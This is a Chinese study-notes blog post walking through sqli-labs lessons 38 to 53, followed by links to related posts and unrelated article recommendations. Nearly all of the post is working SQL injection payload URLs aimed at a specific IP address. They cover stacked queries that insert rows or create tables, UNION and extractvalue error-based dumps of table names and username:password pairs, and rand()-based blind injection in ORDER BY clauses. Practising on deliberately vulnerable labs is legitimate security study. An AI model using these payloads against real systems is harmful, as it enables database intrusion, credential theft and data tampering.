续上,开门见山


堆叠注入,实际上就构成了两条SQL语句

http://43.247.91.228:84/Less-38/?id=1' union select 1,2,3 --+    //未报错

http://43.247.91.228:84/Less-38/?id=1' union select 1,2,3,4 --+     //报错

查询出有三个字段,

使用堆叠注入,

暴位置

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,3;insert into users values(33,'joker','joker')  --+

爆表

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')  --+

暴字段

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')  --+

暴值

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')  --+


同上题,只不过没有单引号

暴位置

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,3;insert into users values(33,'joker','joker')

爆表

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')

暴字段

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')

暴值

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')


同上题,只不过加上单引号和右括号 ‘)

使用堆叠注入,

暴位置

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,3;insert into users values(33,'joker','joker')  --+

爆表

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')  --+

暴字段

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')  --+

暴值

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')  --+


同39一样,只不过错误没有回显

暴位置

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,3;insert into users values(33,'joker','joker')

爆表

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')

暴字段

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')

暴值

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')


login_user=admin&login_password=c';create table less42 like users #&mysubmit=Login

登录时构造的sql语句为
SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users#

同样的利用此方式可以更新和插入数据项。


同上,只不过多了一个c’); 
payload-password: c’);create table less43 like users#


同上42,只是没有回显信息 
payload-password:a’;insert into users(id,username,password) values (‘144’,’less44’,’hello’)#


同上43,只是没有回显信息 
payload-password:c’);create table less43 like users#


尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)

http://43.247.91.228:84/Less-46/?sort=1 asc

http://43.247.91.228:84/Less-46/?sort=1 desc

我们可利用order by后的一些参数进行注入。
1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
http://43.247.91.228:84/Less-46/?sort=left(version(),1)
没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select ******)
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。

③利用and,例如?sort=1 and (加sql语句)。
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

报错注入:

爆表:

http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

暴列:

http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

暴值:

http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

显示未完全:
http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+


同上,只不过变成字符型了,多一个单引号

暴表:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

暴列:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

暴值:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

显示未完全:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+


本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
可以利用sort=rand(true/false)进行判断。

猜解库名:

http://43.247.91.228:84/Less-48/?sort=rand(left(database(),1)='s')

正确的

http://43.247.91.228:84/Less-48/?sort=rand(left(database(),1)='d')

错误的

猜解表

http://43.247.91.228:84/Less-48/?sort=rand(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e')

猜解列

http://43.247.91.228:84/Less-48/?sort=rand(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i')

猜解值

http://43.247.91.228:84/Less-48/?sort=rand(left((select username from users limit 0,1),1)='d')

也可以用And后的延时注入


本关与47关基本类似,区别在于没有错误回显,所以我们可以通过延时注入进行注入。
利用延时注入


mysqli_multi_query()可以执行多条sql 这个实验使用的是这个函数 
mysqli_query() 只可以执行一条

http://43.247.91.228:84/Less-50/?sort=1;create table less50 like users --+

进行插入和修改操作。


同less50,只不过是字符型 
mysqli_multi_query()可以执行多条sql 这个实验使用的是这个函数 
mysqli_query() 只可以执行一条


同上50,只不过不显示错误

payload:?sort=1;create%20table%20less50%20like%20users


同上51,只不过不显示错误

payload:?sort=1%27;create%20table%20less53%20like%20users–+


  感谢看雪提供的学习平台

未完待续...

sqli_labs学习笔记(一)Less-38~Less-53的更多相关文章

  1. sqli_labs学习笔记(一)Less-54~Less-65

    续上,开门见山 暴库: http://43.247.91.228:84/Less-54/?id=-1' union select 1,2,database() --+ challenges 爆表: h ...

  2. sqli_labs学习笔记(一)Less-21~Less-37

    续上,开门见山 Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入) 登录后页面 圈出来的地方显 ...

  3. sqli_labs学习笔记(一)Less-1~Less-20

    开门见山 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) ·  方法一:手工UNION联合查询注入 输入单引号, ...

  4. 《从零开始学Swift》学习笔记(Day 38)——构造函数与存储属性初始化

    原创文章,欢迎转载.转载请注明:关东升的博客 构造函数的主要作用是初始化实例,其中包括:初始化存储属性和其它的初始化.在Rectangle类或结构体中,如果在构造函数中初始化存储属性width和hei ...

  5. Effective STL 学习笔记 Item 38 : Design functor classes for pass-by-value

    Effective STL 学习笔记 Item 38 : Design functor classes for pass-by-value */--> div.org-src-container ...

  6. Flutter学习笔记(38)--自定义控件之组合控件

    如需转载,请注明出处:Flutter学习笔记(38)--自定义控件之组合控件 在开始之前想先写点其他的,emm...就是今天在学习到自定义控件的时候,由于自定义控件这块一直是我的短板,无论是Andro ...

  7. [原创]java WEB学习笔记53:Struts2学习之路---前奏:使用 Filter 作为控制器的 MVC

    本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱 ...

  8. [原创]java WEB学习笔记38:EL 中的 11个 隐含对象 详解

    本博客为原创:综合 尚硅谷(http://www.atguigu.com)的系统教程(深表感谢)和 网络上的现有资源(博客,文档,图书等),资源的出处我会标明 本博客的目的:①总结自己的学习过程,相当 ...

  9. Linux 学习笔记

    Linux学习笔记 请切换web视图查看,表格比较大,方法:视图>>web板式视图 博客园不能粘贴图片吗 http://wenku.baidu.com/view/bda1c3067fd53 ...

随机推荐

  1. C. 【UNR #3】配对树

    题解: 首先可以贪心 于是问题可以等价成一条边被算当且仅当子树中个数为奇数个 题解的做法比较简单 考虑每条边,加入其子树内的点 然后为了保证区间长度为偶数 分成f0,0 f0,1 f1,0 f1,1即 ...

  2. Team Foundation Server 2015使用教程【6】:新增权限为读取器的团队

  3. Mongdb的基本操作及java中用法

    Mongdb中所有数据以Bson(类似JSON)的格式存在,可以存储集合,map,二进制文件等多种数据类型. 数据库的常用操作 use [数据库名称];//有就选中,没有就添加并选中show dbs; ...

  4. 精选腾讯技术干货200+篇,云加社区全年沙龙PPT免费下载!

    2019年已经过去,小编为大家整理了这一年以来云加社区发布的 200多篇腾讯干货,点击文章标题即可跳转到原文,请速速收藏哦~ 看腾讯技术: 腾讯成本优化黑科技:整机CPU利用率最高提升至90%: 腾讯 ...

  5. `docker数据持久化volume和bind mounts两种方式

    将数据从宿主机到容器的三种方式: ,volumes:docker管理宿主机文件系统的一部分(/var/lib/docker/volumes)保存数据的最佳方式 ,bind mounts 将宿主机上的任 ...

  6. $loj6043$ [雅礼集训 $2017\ Day7$] 蛐蛐国的修墙方案 搜索

    正解:搜索 解题报告: 传送门$QwQ$ 首先由$p_i$是一个序列得,每个点的度数为2.且一定形成若干个环. 考虑先对每个环做,发现若要有解必须是偶环,且一定是隔一条边选一条边的,所以对每个环其实只 ...

  7. $Noip2014/Luogu1351$ 联合权值 树形

    $Luogu$ $Description$ 给定一棵树,每两个距离为$2$的点之间可以产生"联合权值","联合权值"定义为这两个数的乘积.求最大的联合权值以及所 ...

  8. 1035 插入与归并 (25 分)C语言

    根据维基百科的定义: 插入排序是迭代算法,逐一获得输入数据,逐步产生有序的输出序列.每步迭代中,算法从输入序列中取出一元素,将之插入有序序列中正确的位置.如此迭代直到全部元素有序. 归并排序进行如下迭 ...

  9. Java基础知识学习(一)--引用

    1.概念 如果一个变量的类型为类类型,而非基本类型,那么该变量就叫做引用:   2.对象引用 new Person(); 如上,代表创建了一个对象,但也仅仅是创建了,并没有办法去访问它.   为了访问 ...

  10. Django 博客实现简单的全文搜索

    作者:HelloGitHub-追梦人物 文中所涉及的示例代码,已同步更新到 HelloGitHub-Team 仓库 搜索是一个复杂的功能,但对于一些简单的搜索任务,我们可以使用 Django Mode ...